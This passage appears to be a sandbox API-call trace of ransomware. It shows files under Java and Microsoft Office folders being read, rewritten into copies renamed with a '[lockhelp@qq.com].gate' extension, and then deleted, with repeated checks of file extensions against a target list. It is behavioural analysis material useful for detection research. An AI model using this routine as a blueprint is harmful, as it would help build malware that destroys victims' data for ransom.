lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0xbd2, lpOverlapped=0x0) returned 1 [0299.159] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xbe0, lpOverlapped=0x0) returned 1 [0299.160] ReadFile (in: hFile=0x4e8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.160] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xfc, lpOverlapped=0x0) returned 1 [0299.160] SetEndOfFile (hFile=0x4b8) returned 1 [0299.161] CloseHandle (hObject=0x4b8) returned 1 [0299.161] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.161] SetEndOfFile (hFile=0x4e8) returned 1 [0299.163] CloseHandle (hObject=0x4e8) returned 1 [0299.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.164] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0299.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.178] lstrlenW (lpString=".doc") returned 4 [0299.178] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0299.178] lstrlenW (lpString=".docx") returned 5 [0299.178] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0299.178] lstrlenW (lpString=".pdf") returned 4 [0299.178] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0299.178] lstrlenW (lpString=".xls") returned 4 [0299.178] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0299.178] lstrlenW (lpString=".xlsx") returned 5 [0299.178] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0299.178] lstrlenW (lpString=".ppt") returned 4 [0299.178] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0299.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.178] lstrlenW (lpString=".zip") returned 4 [0299.178] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0299.178] lstrlenW (lpString=".rar") returned 4 [0299.178] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0299.178] lstrlenW (lpString=".bz2") returned 4 [0299.178] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0299.178] lstrlenW (lpString=".7z") returned 3 [0299.178] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0299.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.178] lstrlenW (lpString=".dbf") returned 4 [0299.179] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0299.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.179] lstrlenW (lpString=".1cd") returned 4 [0299.179] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0299.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.179] lstrlenW (lpString=".jpg") returned 4 [0299.179] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0299.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.179] lstrlenW (lpString=".doc") returned 4 [0299.179] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0299.179] lstrlenW (lpString=".docx") returned 5 [0299.179] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0299.179] lstrlenW (lpString=".pdf") returned 4 [0299.179] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0299.179] lstrlenW (lpString=".xls") returned 4 [0299.179] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0299.179] lstrlenW (lpString=".xlsx") returned 5 [0299.179] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0299.179] lstrlenW (lpString=".ppt") returned 4 [0299.179] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0299.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.179] lstrlenW (lpString=".zip") returned 4 [0299.179] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0299.179] lstrlenW (lpString=".rar") returned 4 [0299.179] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0299.179] lstrlenW (lpString=".bz2") returned 4 [0299.179] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0299.179] lstrlenW (lpString=".7z") returned 3 [0299.179] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0299.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.179] lstrlenW (lpString=".dbf") returned 4 [0299.179] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0299.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.180] lstrlenW (lpString=".1cd") returned 4 [0299.180] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0299.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0299.180] lstrlenW (lpString=".jpg") returned 4 [0299.180] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0299.180] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".gate") returned -1 [0299.180] lstrlenW (lpString="LICENSE") returned 7 [0299.180] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.180] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=40) returned 1 [0299.180] CloseHandle (hObject=0x4e8) returned 1 [0299.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0299.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.181] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.181] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.181] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.181] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0299.181] GetLastError () returned 0x0 [0299.181] ReadFile (in: hFile=0x4e8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x28, lpOverlapped=0x0) returned 1 [0299.182] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x30, lpOverlapped=0x0) returned 1 [0299.183] ReadFile (in: hFile=0x4e8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.183] WriteFile (in: hFile=0x4b8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xe2, lpOverlapped=0x0) returned 1 [0299.183] SetEndOfFile (hFile=0x4b8) returned 1 [0299.183] CloseHandle (hObject=0x4b8) returned 1 [0299.183] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.183] SetEndOfFile (hFile=0x4e8) returned 1 [0299.194] CloseHandle (hObject=0x4e8) returned 1 [0299.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.195] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1 [0299.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.195] lstrlenW (lpString=".doc") returned 4 [0299.195] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0299.196] lstrlenW (lpString=".docx") returned 5 [0299.196] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0299.196] lstrlenW (lpString=".pdf") returned 4 [0299.196] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0299.196] lstrlenW (lpString=".xls") returned 4 [0299.196] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0299.196] lstrlenW (lpString=".xlsx") returned 5 [0299.196] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0299.196] lstrlenW (lpString=".ppt") returned 4 [0299.196] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.196] lstrlenW (lpString=".zip") returned 4 [0299.196] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0299.196] lstrlenW (lpString=".rar") returned 4 [0299.196] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0299.196] lstrlenW (lpString=".bz2") returned 4 [0299.196] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0299.196] lstrlenW (lpString=".7z") returned 3 [0299.196] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.196] lstrlenW (lpString=".dbf") returned 4 [0299.196] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.196] lstrlenW (lpString=".1cd") returned 4 [0299.196] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.196] lstrlenW (lpString=".jpg") returned 4 [0299.196] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0299.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.197] lstrlenW (lpString=".doc") returned 4 [0299.197] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0299.197] lstrlenW (lpString=".docx") returned 5 [0299.197] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0299.197] lstrlenW (lpString=".pdf") returned 4 [0299.197] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0299.197] lstrlenW (lpString=".xls") returned 4 [0299.197] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0299.197] lstrlenW (lpString=".xlsx") returned 5 [0299.197] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0299.197] lstrlenW (lpString=".ppt") returned 4 [0299.197] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0299.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.197] lstrlenW (lpString=".zip") returned 4 [0299.197] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0299.197] lstrlenW (lpString=".rar") returned 4 [0299.197] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0299.197] lstrlenW (lpString=".bz2") returned 4 [0299.197] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0299.197] lstrlenW (lpString=".7z") returned 3 [0299.197] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0299.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.197] lstrlenW (lpString=".dbf") returned 4 [0299.197] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0299.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.197] lstrlenW (lpString=".1cd") returned 4 [0299.197] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0299.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0299.197] lstrlenW (lpString=".jpg") returned 4 [0299.197] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0299.198] lstrcmpiW (lpString1=".0_144\\release", lpString2=".gate") returned -1 [0299.198] lstrlenW (lpString="release") returned 7 [0299.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.198] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=528) returned 1 [0299.198] CloseHandle (hObject=0x4e8) returned 1 [0299.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0299.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0299.199] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.199] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0299.199] GetLastError () returned 0x0 [0299.199] ReadFile (in: hFile=0x4e8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x210, lpOverlapped=0x0) returned 1 [0299.200] WriteFile (in: hFile=0x50c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x220, lpOverlapped=0x0) returned 1 [0299.201] ReadFile (in: hFile=0x4e8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.201] WriteFile (in: hFile=0x50c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xe2, lpOverlapped=0x0) returned 1 [0299.208] SetEndOfFile (hFile=0x50c) returned 1 [0299.208] CloseHandle (hObject=0x50c) returned 1 [0299.208] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.208] SetEndOfFile (hFile=0x4e8) returned 1 [0299.210] CloseHandle (hObject=0x4e8) returned 1 [0299.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0299.211] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1 [0299.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.211] lstrlenW (lpString=".doc") returned 4 [0299.211] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0299.211] lstrlenW (lpString=".docx") returned 5 [0299.211] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0299.211] lstrlenW (lpString=".pdf") returned 4 [0299.211] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0299.211] lstrlenW (lpString=".xls") returned 4 [0299.212] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0299.212] lstrlenW (lpString=".xlsx") returned 5 [0299.212] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0299.212] lstrlenW (lpString=".ppt") returned 4 [0299.212] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0299.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.212] lstrlenW (lpString=".zip") returned 4 [0299.212] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0299.212] lstrlenW (lpString=".rar") returned 4 [0299.212] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0299.212] lstrlenW (lpString=".bz2") returned 4 [0299.212] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0299.212] lstrlenW (lpString=".7z") returned 3 [0299.212] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0299.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.212] lstrlenW (lpString=".dbf") returned 4 [0299.212] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0299.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.212] lstrlenW (lpString=".1cd") returned 4 [0299.212] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0299.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.212] lstrlenW (lpString=".jpg") returned 4 [0299.212] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0299.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.212] lstrlenW (lpString=".doc") returned 4 [0299.212] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0299.212] lstrlenW (lpString=".docx") returned 5 [0299.212] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0299.212] lstrlenW (lpString=".pdf") returned 4 [0299.213] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0299.213] lstrlenW (lpString=".xls") returned 4 [0299.213] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0299.213] lstrlenW (lpString=".xlsx") returned 5 [0299.213] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0299.213] lstrlenW (lpString=".ppt") returned 4 [0299.213] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0299.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.213] lstrlenW (lpString=".zip") returned 4 [0299.213] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0299.213] lstrlenW (lpString=".rar") returned 4 [0299.213] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0299.213] lstrlenW (lpString=".bz2") returned 4 [0299.213] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0299.213] lstrlenW (lpString=".7z") returned 3 [0299.213] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0299.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.213] lstrlenW (lpString=".dbf") returned 4 [0299.213] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0299.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.213] lstrlenW (lpString=".1cd") returned 4 [0299.213] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0299.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0299.213] lstrlenW (lpString=".jpg") returned 4 [0299.213] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0299.287] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0299.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0299.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0299.287] lstrlenW (lpString=".doc") returned 4 [0299.287] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0299.287] lstrlenW (lpString=".docx") returned 5 [0299.287] lstrcmpiW (lpString1=".docx", lpString2="u.dll") returned -1 [0299.288] lstrlenW (lpString=".pdf") returned 4 [0299.288] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0299.288] lstrlenW (lpString=".xls") returned 4 [0299.288] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0299.288] lstrlenW (lpString=".xlsx") returned 5 [0299.288] lstrcmpiW (lpString1=".xlsx", lpString2="u.dll") returned -1 [0299.288] lstrlenW (lpString=".ppt") returned 4 [0299.288] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0299.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0299.288] lstrlenW (lpString=".zip") returned 4 [0299.288] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0299.288] lstrlenW (lpString=".rar") returned 4 [0299.288] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0299.288] lstrlenW (lpString=".bz2") returned 4 [0299.288] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0299.288] lstrlenW (lpString=".7z") returned 3 [0299.288] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0299.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0299.288] lstrlenW (lpString=".dbf") returned 4 [0299.288] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0299.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0299.288] lstrlenW (lpString=".1cd") returned 4 [0299.288] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0299.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0299.288] lstrlenW (lpString=".jpg") returned 4 [0299.288] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0299.291] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=7384) returned 1 [0299.291] CloseHandle (hObject=0x568) returned 1 [0299.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220 [0299.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0299.292] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.292] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0299.293] GetLastError () returned 0x0 [0299.293] ReadFile (in: hFile=0x568, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0299.504] WriteFile (in: hFile=0x550, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x1ce0, 